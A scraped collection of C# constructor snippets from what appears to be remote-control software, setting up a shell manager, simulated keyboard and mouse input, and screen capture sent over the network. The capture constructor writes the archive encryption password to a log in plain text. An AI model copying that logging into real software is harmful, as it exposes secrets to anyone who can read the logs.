示例#1
0
 public ShellManager(ActionCenter.ActionCenterInternalEventHandler dispatchData)
 {
     this.DispatchData = dispatchData;
     this._cmdQueue    = new Queue <byte[]>();
     this._asyncQueue  = new AsyncWorkerQueue();
     this._neuroLog.Write("Initializing Shell Manager");
     //this.LaunchShell();
 }
示例#2
0
 public EventManager(ActionCenter.ActionCenterInternalEventHandler dispatchData)
 {
     this._ki          = new KeyInput();
     this._mi          = new MouseInput();
     this.DispatchData = dispatchData;
     this.NormalizedPrecisionFactor = 4;
     this._neuroLog.WriteFormat("Initialization", "Normalized Precision Factor: {0}", this.NormalizedPrecisionFactor);
     //this._mi.MouseMove(1920, 1080);
 }
示例#3
0
        }                                                                               // Bit-depth

        /// <summary>
        /// Constructor
        /// </summary>
        /// <param name="fileSecurityPassword">Password to encrypt buffered files with</param>
        /// <param name="dispatchData">Method to handle dispatch of data over the network</param>
        public CaptureManager(string fileSecurityPassword, ActionCenter.ActionCenterInternalEventHandler dispatchData)
        {
            this._cursorTable = new Dictionary <Cursor, CursorType>();
            this._cursorTable.Add(Cursors.AppStarting, CursorType.AppStarting);
            this._cursorTable.Add(Cursors.Arrow, CursorType.Arrow);
            this._cursorTable.Add(Cursors.Cross, CursorType.Cross);
            //this._cursorTable.Add(Cursors.Default, CursorType.Default);
            this._cursorTable.Add(Cursors.Hand, CursorType.Hand);
            this._cursorTable.Add(Cursors.Help, CursorType.Help);
            this._cursorTable.Add(Cursors.HSplit, CursorType.HSplit);
            this._cursorTable.Add(Cursors.IBeam, CursorType.IBeam);
            this._cursorTable.Add(Cursors.No, CursorType.No);
            this._cursorTable.Add(Cursors.NoMove2D, CursorType.NoMove2D);
            this._cursorTable.Add(Cursors.NoMoveHoriz, CursorType.NoMoveHoriz);
            this._cursorTable.Add(Cursors.NoMoveVert, CursorType.NoMoveVert);
            this._cursorTable.Add(Cursors.PanEast, CursorType.PanEast);
            this._cursorTable.Add(Cursors.PanNE, CursorType.PanNE);
            this._cursorTable.Add(Cursors.PanNorth, CursorType.PanNorth);
            this._cursorTable.Add(Cursors.PanNW, CursorType.PanNW);
            this._cursorTable.Add(Cursors.PanSE, CursorType.PanSE);
            this._cursorTable.Add(Cursors.PanSouth, CursorType.PanSouth);
            this._cursorTable.Add(Cursors.PanSW, CursorType.PanSW);
            this._cursorTable.Add(Cursors.PanWest, CursorType.PanWest);
            this._cursorTable.Add(Cursors.SizeAll, CursorType.SizeAll);
            this._cursorTable.Add(Cursors.SizeNESW, CursorType.SizeNESW);
            this._cursorTable.Add(Cursors.SizeNS, CursorType.SizeNS);
            this._cursorTable.Add(Cursors.SizeNWSE, CursorType.SizeNWSE);
            this._cursorTable.Add(Cursors.SizeWE, CursorType.SizeWE);
            this._cursorTable.Add(Cursors.UpArrow, CursorType.UpArrow);
            this._cursorTable.Add(Cursors.VSplit, CursorType.VSplit);
            this._cursorTable.Add(Cursors.WaitCursor, CursorType.WaitCursor);


            this._bufferedOperator      = new BufferedOperator(fileSecurityPassword);
            this.CaptureQuantizePalette = 256;
            this.CaptureQuantizeDepth   = 8;

            this.CaptureShrinkFactor = 0.4f;
            this.CaptureBufferCount  = 10;
            this.CaptureInterval     = 500;

            this._neuroLog.WriteFormat("Initialization", "Buffer Archive Password: {0}\nBuffer File Limit: {1}\nQuantization Palette: {2}\nQuantization Depth: {3}\nShrink Factor: {4}\nCapture Interval: {5}",
                                       fileSecurityPassword, this.CaptureBufferCount, this.CaptureQuantizePalette, this.CaptureQuantizeDepth, this.CaptureShrinkFactor, this.CaptureInterval);
            this._neuroLog.Write("Created Cursor Table");

            this.DispatchData = dispatchData;
            this._bufferedOperator.OnComplete += new BufferedOperator.BufferedOperationCompleteHandler(cmp_OnComplete);
        }
示例#4
0
 /// <summary>
 /// Constructor
 /// </summary>
 /// <param name="fileSecurityPassword">Password to encrypt buffered files with</param>
 /// <param name="dispatchData">Method to handle dispatch of data over the network.</param>
 /// <param name="debugEvent">Method to output debug messages. (Testing phase)</param>
 public CaptureManager(string fileSecurityPassword, ActionCenter.ActionCenterInternalEventHandler dispatchData, ActionCenter.DebugEventHandler debugEvent)
     : this(fileSecurityPassword, dispatchData)
 {
     this.DebugEvent = debugEvent;
 }